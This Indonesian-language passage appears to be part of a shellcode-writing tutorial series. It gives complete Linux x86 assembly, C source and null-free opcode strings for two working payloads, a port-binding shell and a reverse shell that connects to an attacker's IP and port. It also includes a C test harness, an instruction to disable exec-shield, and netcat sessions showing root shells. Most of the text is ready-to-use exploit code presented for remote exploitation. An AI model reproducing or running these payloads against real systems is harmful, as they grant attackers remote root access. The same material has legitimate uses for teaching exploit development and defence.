Bila anda sudah membaca artikel sebelumnya belajar membuat shellcode
part 1 anda tentu sudah mengerti tentang system call untuk mengeksekusi
shell (execve), jadi tidak perlu saya jelaskan lagi di sini.
System call dup2 sangat sederhana, register yang harus diisi adalah EBX
diisi dengan client socket handler, ECX diisi file handler untuk
stdin,stdout dan stderr, dan terakhir adalah EAX yang harus diisi dengan
nomor system call, 63.
Pada system call keluarga socket programming, socket(), bind(),
listen(), accept() semua argumen disimpan dalam bentuk blok memori
secara berurutan dengan alamatnya disimpan pada register ECX. Sebagai
contoh, untuk socket(2,1,0), register ECX harus berisi alamat blok
memori yang berisi byte berikut: 0×02 0×01 0×00.
Mengambil Opcode untuk Shellcode
Langkah berikutnya adalah kita harus compile dan link source assembly
tersebut. Setelah itu baru kita disassemble dengan objdump agar bisa
diekstrak opcodenya.
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 | $ nasm -f elf portbind.asm $ ld -o portbind_asm portbind.o $ objdump -d ./portbind_asm ./portbind_asm: file format elf32-i386 Disassembly of section .text: 08048060 <_start>: 8048060: 31 c0 xor %eax,%eax 8048062: 31 db xor %ebx,%ebx 8048064: 31 d2 xor %edx,%edx 8048066: 50 push %eax 8048067: 6a 01 push $0x1 8048069: 6a 02 push $0x2 804806b: 89 e1 mov %esp,%ecx 804806d: fe c3 inc %bl 804806f: b0 66 mov $0x66,%al 8048071: cd 80 int $0x80 8048073: 89 c6 mov %eax,%esi 8048075: 52 push %edx 8048076: 66 68 09 5c pushw $0x5c09 804807a: 81 c2 02 00 00 00 add $0x2,%edx 8048080: 66 52 push %dx 8048082: 89 e1 mov %esp,%ecx 8048084: 6a 10 push $0x10 8048086: 51 push %ecx 8048087: 56 push %esi 8048088: 89 e1 mov %esp,%ecx 804808a: fe c3 inc %bl 804808c: b0 66 mov $0x66,%al 804808e: cd 80 int $0x80 8048090: 31 d2 xor %edx,%edx 8048092: 52 push %edx 8048093: 56 push %esi 8048094: 89 e1 mov %esp,%ecx 8048096: b3 04 mov $0x4,%bl 8048098: b0 66 mov $0x66,%al 804809a: cd 80 int $0x80 804809c: 52 push %edx 804809d: 52 push %edx 804809e: 56 push %esi 804809f: 89 e1 mov %esp,%ecx 80480a1: fe c3 inc %bl 80480a3: b0 66 mov $0x66,%al 80480a5: cd 80 int $0x80 80480a7: 89 c3 mov %eax,%ebx 80480a9: 31 c9 xor %ecx,%ecx 80480ab: b0 3f mov $0x3f,%al 80480ad: cd 80 int $0x80 80480af: 41 inc %ecx 80480b0: b0 3f mov $0x3f,%al 80480b2: cd 80 int $0x80 80480b4: 41 inc %ecx 80480b5: b0 3f mov $0x3f,%al 80480b7: cd 80 int $0x80 80480b9: 52 push %edx 80480ba: 68 2f 2f 73 68 push $0x68732f2f 80480bf: 68 2f 62 69 6e push $0x6e69622f 80480c4: 89 e3 mov %esp,%ebx 80480c6: 52 push %edx 80480c7: 53 push %ebx 80480c8: 89 e1 mov %esp,%ecx 80480ca: b0 0b mov $0xb,%al 80480cc: cd 80 int $0x80 |
Dari hasil objdump di atas terlihat ada byte yang terlarang, yaitu 0×00
yang merupakan bagian dari opcode instruksi: “add edx,2″. Kenapa byte
0×0 tidak boleh ada? Sebab ketika kita menginjeksi string, maka byte 0×0
akan dianggap sebagai akhir sebuah string, akibatnya shellcode kita
tidak akan terinjeksi dengan lengkap dan terpotong pada byte 0×0
tersebut.
Agar byte 0×0 tidak ada, maka kita harus mengganti “add edx,2″ dengan
instruksi lain yang ekivalen, artinya instruksi pengganti tersebut harus
berakibat pada bertambahnya nilai edx dengan 2. Saya akan mengganti
instruksi “add edx,2″ dengan instruksi “inc edx” sebanyak 2 kali. Mari
kita lihat perbedaan antara opcode “add edx,2″ dengan “inc edx”.
804807a: 81 c2 02 00 00 00 add edx, 2
804807a: 42 inc edx 804807b: 42 inc edx
Perhatikan kedua opcode di atas. Ada dua keuntungan yang kita dapatkan
dengan mengganti instruksi add. Pertama adalah tidak ada lagi byte 0×0.
Kedua adalah ukurannya lebih hemat, instruksi “inc edx” hanya berukuran 1
byte, jadi total berukuran 2 byte. Sedangkan instruksi “add edx, 2″
berukuran 6 byte, kita hemat 4 byte untuk mendapat efek yang sama.
Oke setelah kita menyingkirkan byte terlarang, kita harus mengekstrak
opcodenya untuk menjadi shellcode. Kita akan pakai lagi cara yang saya
pakai di artikel part 1 untuk dengan cepat meng-ekstrak opcode dari
output objdump.
$ objdump -d portbind_asm|grep '[0-9a-f]:'|grep -v 'file'|cut -f2 -d:|cut -f1-6 -d' '|tr -s ' '|tr '\t' ' '|sed 's/ $//g'|sed 's/ /\\x/g'|paste -d '' -s |sed 's/^/"/'|sed 's/$/"/g' "\x31\xc0\x31\xdb\x31\xd2\x50\x6a\x01\x6a\x02\x89\xe1\xfe\xc3\xb0\x66\xcd\x80\x89\xc6\x52\x66\x68\x09\x5c\x42\x42\x66\x52\x89\xe1\x6a\x10\x51\x56\x89\xe1\xfe\xc3\xb0\x66\xcd\x80\x31\xd2\x52\x56\x89\xe1\xb3\x04\xb0\x66\xcd\x80\x52\x52\x56\x89\xe1\xfe\xc3\xb0\x66\xcd\x80\x89\xc3\x31\xc9\xb0\x3f\xcd\x80\x41\xb0\x3f\xcd\x80\x41\xb0\x3f\xcd\x80\x52\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x52\x53\x89\xe1\xb0\x0b\xcd\x80"
Setelah kita dapatkan shellcode, mari kita coba lagi pakai perl dan
ndisasm, kalau hasil disassemblernya sama dengan source assembly awal,
berarti shellcode tersebut sudah benar.
$ perl -e 'print "\x31\xc0\x31\xdb\x31\xd2\x50\x6a\x01\x6a\x02\x89\xe1\xfe\xc3\xb0\x66\xcd\x80\x89\xc6\x52\x66\x68\x09\x5c\x42\x42\x66\x52\x89\xe1\x6a\x10\x51\x56\x89\xe1\xfe\xc3\xb0\x66\xcd\x80\x31\xd2\x52\x56\x89\xe1\xb3\x04\xb0\x66\xcd\x80\x52\x52\x56\x89\xe1\xfe\xc3\xb0\x66\xcd\x80\x89\xc3\x31\xc9\xb0\x3f\xcd\x80\x41\xb0\x3f\xcd\x80\x41\xb0\x3f\xcd\x80\x52\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x52\x53\x89\xe1\xb0\x0b\xcd\x80"'|ndisasm -u - 00000000 31C0 xor eax,eax 00000002 31DB xor ebx,ebx 00000004 31D2 xor edx,edx 00000006 50 push eax 00000007 6A01 push byte +0x1 00000009 6A02 push byte +0x2 0000000B 89E1 mov ecx,esp 0000000D FEC3 inc bl 0000000F B066 mov al,0x66 00000011 CD80 int 0x80 00000013 89C6 mov esi,eax 00000015 52 push edx 00000016 6668095C push word 0x5c09 0000001A 42 inc edx 0000001B 42 inc edx 0000001C 6652 push dx 0000001E 89E1 mov ecx,esp 00000020 6A10 push byte +0x10 00000022 51 push ecx 00000023 56 push esi 00000024 89E1 mov ecx,esp 00000026 FEC3 inc bl 00000028 B066 mov al,0x66 0000002A CD80 int 0x80 0000002C 31D2 xor edx,edx 0000002E 52 push edx 0000002F 56 push esi 00000030 89E1 mov ecx,esp 00000032 B304 mov bl,0x4 00000034 B066 mov al,0x66 00000036 CD80 int 0x80 00000038 52 push edx 00000039 52 push edx 0000003A 56 push esi 0000003B 89E1 mov ecx,esp 0000003D FEC3 inc bl 0000003F B066 mov al,0x66 00000041 CD80 int 0x80 00000043 89C3 mov ebx,eax 00000045 31C9 xor ecx,ecx 00000047 B03F mov al,0x3f 00000049 CD80 int 0x80 0000004B 41 inc ecx 0000004C B03F mov al,0x3f 0000004E CD80 int 0x80 00000050 41 inc ecx 00000051 B03F mov al,0x3f 00000053 CD80 int 0x80 00000055 52 push edx 00000056 682F2F7368 push dword 0x68732f2f 0000005B 682F62696E push dword 0x6e69622f 00000060 89E3 mov ebx,esp 00000062 52 push edx 00000063 53 push ebx 00000064 89E1 mov ecx,esp 00000066 B00B mov al,0xb 00000068 CD80 int 0x80
Oke selamat, shellcodenya sudah benar. Setelah itu biar lebih afdol, kita harus menguji dengan program C berikut.
Jangan lupa untuk mematikan exec shield dengan cara “echo 0 > /proc/sys/kernel/exec-shield” sebelum program C di bawah ini bisa dieksekusi. Bila tidak anda akan mendapatkan segmentation fault error.
1 2 3 4 | char shellcode[] = "\x31\xc0\x31\xdb\x31\xd2\x50\x6a\x01\x6a\x02\x89\xe1\xfe\xc3\xb0\x66\xcd\x80\x89\xc6\x52\x66\x68\x09\x5c\x42\x42\x66\x52\x89\xe1\x6a\x10\x51\x56\x89\xe1\xfe\xc3\xb0\x66\xcd\x80\x31\xd2\x52\x56\x89\xe1\xb3\x04\xb0\x66\xcd\x80\x52\x52\x56\x89\xe1\xfe\xc3\xb0\x66\xcd\x80\x89\xc3\x31\xc9\xb0\x3f\xcd\x80\x41\xb0\x3f\xcd\x80\x41\xb0\x3f\xcd\x80\x52\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x52\x53\x89\xe1\xb0\x0b\xcd\x80"; int main(void) { asm("jmp shellcode"); } |
$ gcc portbindshellcode.c -o portbindshellcode $ sudo ./portbindshellcode
Setelah dijalankan sebagai root, di console lain saya coba koneksi dengan netcat ke port 2396.
$ nc localhost 2396 whoami root id uid=0(root) gid=0(root) groups=0(root),1(bin),2(daemon),3(sys),4(adm),6(disk),10(wheel) exit
Berhasil! Selamat, port binding shellcode kini sudah siap dipakai untuk remote exploit.
Membuat Reverse Connecting Shellcode
Baiklah kini kita menginjak pada pembuatan shellode bertipe reverse
connecting. Dalam shellcode jenis ini, shellcode bertindak sebagai
client dan attacker menyiapkan sebuah server yang siap dihubungi di IP
dan port tertentu. Sebagai simulasi kita asumsikan IP dan port attacker
adalah 192.168.0.14:27155 dan IP komputer target adalah 192.168.0.10.
Karena socket programming di sisi client lebih sederhana dan mirip
dengan port binding, saya langsung saja membuat shellcode ini dalam
bahasa C.
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 | #include <sys/socket.h> #include <netinet/in.h> int main(void) { char *shell[2]; int soc; int remote; struct sockaddr_in serv_addr; serv_addr.sin_family=2; // internet address serv_addr.sin_addr.s_addr = 0x0E00A8C0; // 192.168.0.14 serv_addr.sin_port=0x136A; // port 27155 soc = socket(2,1,0); remote = connect(soc,(struct sockaddr*)&serv_addr,16); dup2(soc,0); dup2(soc,1); dup2(soc,2); shell[0] = "/bin/sh"; shell[1] = NULL; execve(shell[0],shell,0); } |
Sebelum kita compile dan eksekusi, kita siapkan dulu di komputer
attacker server yang listen di port 27155 dan port 192.168.0.14. Sistem
operasi komputer attacker adalah windows dan attacker memakai netcat for windows untuk membuat server sederhana seperti di bawah ini.
C:\>nc -lvn -p 27155 listening on [any] 27155 ...
Oke setelah server attacker sudah listen di 192.168.0.14:27155. Kini
kita compile dan eksekusi program reverse sebagai root untuk
mensimulasikan exploit yang mendapatkan root shell.
$ gcc reverse.c -o reverse $ sudo ./reverse
Sekarang perhatikan apa yang terjadi pada komputer attacker setelah program reverse tersebut dijalankan.
C:\>nc -lvn -p 27155 listening on [any] 27155 ... connect to [192.168.0.14] from (UNKNOWN) [192.168.0.10] 58855 whoami root id uid=0(root) gid=0(root) groups=0(root),1(bin),2(daemon),3(sys),4(adm),6(disk),10(wheel) pwd /home/admin exit
Ada koneksi masuk dari ip komputer target (192.168.0.10). Setelah
koneksi terbentuk, attacker bisa mulai mengirimkan command untuk
dieksekusi di komputer target.
Reverse Connecting dalam Assembly
Tidak ada hal baru dalam shellcode ini dibandingkan dengan shellcode
port binding sebelumnya, jadi tidak ada yang perlu dijelaskan lebih jauh
lagi. Langsung saja kita membuat program yang sama dalam bahasa
assembly.
BITS 32 section .text global _start _start: xor eax,eax xor ebx,ebx xor edx,edx ;soc=socket(2,1,0) push eax ; push 0 push byte 0x1 ; push 1 push byte 0x2 ; push 2 mov ecx,esp ; ECX = address of [2,1,0] inc bl ; EBX=1 means socket() call mov al,102 int 0x80 ; ESI = soc socket handler mov esi,eax ;remote = connect(soc,(struct sockaddr*)&serv_addr,16); push edx ; push 0 push long 0x0E00A8C0 ; push sin_addr.s_addr value push word 0x136A ; push sin_port value xor ecx,ecx ; ecx = 0 mov cl,2 ; cx = 2 push word cx ; push sin_family value mov ecx,esp ; ECX = address of struct sockaddr push byte 16 ; push 16 push ecx ; push address of struct sockaddr push esi ; push soc handler mov ecx,esp ; ECX = address of [soc,&serv_addr,16] mov bl,3 ; EBX=3 means connect() mov al,102 int 0x80 ; EBX = remote socket handler mov ebx,esi ;dup2(soc,0) xor ecx,ecx ; ECX = 0 = stdin file handler mov al,63 int 0x80 ;dup2(soc,1) inc ecx ; ECX = 1 = stdout file handler mov al,63 int 0x80 ;dup(soc,2) inc ecx ; ECX = 2 = stderr file handler mov al,63 int 0x80 ;execve "/bin//sh" push edx push long 0x68732f2f push long 0x6e69622f mov ebx,esp push edx push ebx mov ecx,esp mov al,0x0b int 0x80
Tidak ada yang perlu saya jelaskan karena sama dengan shellcode port
binding dan saya juga sudah memberi komentar untuk memperjelas di source
di atas. Kita langsung saja compile dan link program assembly tersebut.
$ nasm -f elf reverse.asm $ ld -o reverse reverse.o
Sekarang kita harus mendisassemble program tersebut dan mengambil
opcodenya untuk dirangkai menjadi shellcode dengan cara yang seperti
port binding shellcode sebelumnya.
$ objdump -d reverse|grep '[0-9a-f]:'|grep -v 'file'|cut -f2 -d:|cut -f1-6 -d' '|tr -s ' '|tr '\t' ' '|sed 's/ $//g'|sed 's/ /\\x/g'|paste -d '' -s |sed 's/^/"/'|sed 's/$/"/g' "\x31\xc0\x31\xdb\x31\xd2\x50\x6a\x01\x6a\x02\x89\xe1\xfe\xc3\xb0\x66\xcd\x80\x89\xc6\x52\x68\xc0\xa8\x00\x0e\x66\x68\x6a\x13\x31\xc9\xb1\x02\x66\x51\x89\xe1\x6a\x10\x51\x56\x89\xe1\xb3\x03\xb0\x66\xcd\x80\x89\xf3\x31\xc9\xb0\x3f\xcd\x80\x41\xb0\x3f\xcd\x80\x41\xb0\x3f\xcd\x80\x52\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x52\x53\x89\xe1\xb0\x0b\xcd\x80"
Oke kini kita telah dapatkan shellcodenya. Tapi kita periksa dulu apakah
ada byte terlarang di dalamnya? Ternyata ada byte 0×00 dalam shellcode
tersebut yang berasal dari instruksi “push long 0x0E00A8C0″. Byte 0×00
tidak terhindarkan karena IP attacker mengandung 0, yaitu 192.168.0.14.
Oleh karena itu kita harus menyiasatinya agar tidak muncul byte 0×00.
Saya akan mengganti instruksi tersebut menjadi dua push, yaitu push
0x0E00 dan push 0xA8C0. Push nilai 0x0E00 tidak bisa dilakukan secara
langsung karena itu akan menghasilkan opcode yang mengandung 0×00. Oleh
karena itu saya harus membuat nilai 0x0E00 tanpa melibatkan angka 00
dengan cara:
; DX = 0 mov dl,0x0E ; DX = 0x000E shl dx,8 ; 000E digeser ke kiri 8 kali menjadi 0E00
Dengan mengganti menjadi instruksi mov dan shl kita terhindar dari byte
terlarang 0×00. Berikut adalah opcode dari instruksi pengganti “push
long 0x0E00A8C0″. Pada opcode tersebut terlihat lebih banyak space yang
dibutuhkan, tetapi di sana tidak mengandung byte terlarang 0×00.
b2 0e mov dl,0x0E 66 c1 e2 08 shl dx,8 66 52 push dx 66 68 c0 a8 push word 0xA8C0
Setelah mengganti “push long 0x0E00A8C0″ dengan 4 baris instruksi di atas, shellcode yang baru adalah seperti di bawah ini:
$ objdump -d reverse|grep '[0-9a-f]:'|grep -v 'file'|cut -f2 -d:|cut -f1-6 -d' '|tr -s ' '|tr '\t' ' '|sed 's/ $//g'|sed 's/ /\\x/g'|paste -d '' -s |sed 's/^/"/'|sed 's/$/"/g' "\x31\xc0\x31\xdb\x31\xd2\x50\x6a\x01\x6a\x02\x89\xe1\xfe\xc3\xb0\x66\xcd\x80\x89\xc6\x52\xb2\x0e\x66\xc1\xe2\x08\x66\x52\x66\x68\xc0\xa8\x66\x68\x6a\x13\x31\xc9\xb1\x02\x66\x51\x89\xe1\x6a\x10\x51\x56\x89\xe1\xb3\x03\xb0\x66\xcd\x80\x89\xf3\x31\xc9\xb0\x3f\xcd\x80\x41\xb0\x3f\xcd\x80\x41\xb0\x3f\xcd\x80\x52\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x52\x53\x89\xe1\xb0\x0b\xcd\x80"
Kini kita siap mengujinya dengan membuat program dalam bahasa C berikut ini:
char shellcode[] = "\x31\xc0\x31\xdb\x31\xd2\x50\x6a\x01\x6a\x02\x89\xe1\xfe\xc3\xb0\x66\xcd\x80\x89\xc6\x52\xb2\x0e\x66\xc1\xe2\x08\x66\x52\x66\x68\xc0\xa8\x66\x68\x6a\x13\x31\xc9\xb1\x02\x66\x51\x89\xe1\x6a\x10\x51\x56\x89\xe1\xb3\x03\xb0\x66\xcd\x80\x89\xf3\x31\xc9\xb0\x3f\xcd\x80\x41\xb0\x3f\xcd\x80\x41\xb0\x3f\xcd\x80\x52\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x52\x53\x89\xe1\xb0\x0b\xcd\x80"; int main(void) { asm("jmp shellcode"); }
Mari kita compile dan jalankan program dalam bahasa C di atas. Tapi
jangan lupa sebelumnya di komputer attacker harus dijalankan server yang
listen di 192.168.0.14:27155.
$ gcc reverseshellcode.c -o reverseshellcode $ sudo ./reverseshellcode
Mari kita lihat apa yang terjadi pada console attacker setelah shellcode dieksekusi.
C:\>nc -lvn -p 27155 listening on [any] 27155 ... connect to [192.168.0.14] from (UNKNOWN) [192.168.0.10] 59039 id uid=0(root) gid=0(root) groups=0(root),1(bin),2(daemon),3(sys),4(adm),6(disk),10(wheel) whoami root pwd /home/admin exit
Berhasil! Kini kita telah berhasil membuat shellcode yang bisa dipakai
untuk remote shellcode. Selamat anda telah berhasil membuat 2 macam
shellcode yang bisa dipakai untuk remote exploit, yaitu port binding dan
reverse connecting. Dalam artikel berikutnya saya akan membahas
mengenai stack based buffer overflow exploit, di sana kita bisa memakai
shellcode yang kita buat di artikel ini.











